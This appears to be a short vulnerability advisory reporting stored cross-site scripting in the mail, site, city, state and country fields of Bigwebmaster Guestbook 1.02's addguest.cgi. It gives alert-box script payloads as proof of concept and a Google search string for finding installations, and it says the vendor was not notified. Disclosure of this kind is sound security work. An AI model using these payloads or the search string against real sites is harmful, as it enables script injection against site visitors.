Affected software:
Bigwebmaster Guestbook version 1.02 and down
Vendor:
http://www.bigwebmaster.com/Perl/Scripts_and_Programs/Guestbooks/
Introduction:
(taken from vendor site)
This is one of the most powerful guestbooks that you will find on the
internet. Visitors who come to your site will be able to leave comments
and other general information about themselves. If you want to know what
your visitors are thinking, and if you want a fully customizable script,
this one is perfect for you. Features include template files to fit any
website design, 9 standard fields, 9 extra fields (customizable),
unlimited entries, and easy to use admin area. Full online demo available.


Vulnerability Details:
when adding a comment addguest.cgi accepts javascript code into
mail,site,city,state and country fields which lead to javascript cross
site scripting when viewguest.cgi is accessed for displaying the content
of the guest book.

POC:
http://www.example.com/gb/addguest.cgi
name: xss
mail: xss@example.com <script>alert('XSS in mail');</script>
site: http://www.example.com/ <script>alert('XSS in site');</script>
city: <script>alert('XSS in city');</script>
state: <script>alert('XSS in state');</script>
country: <script>alert('XSS in country');</script>

google search:
intitle:Big Webmaster Guestbook

Vendor Status:
NOT NOTIFIED

Solution:
I DON'T CARE

Javor Ninov aka DrFrancky
http://www.securitydot.net/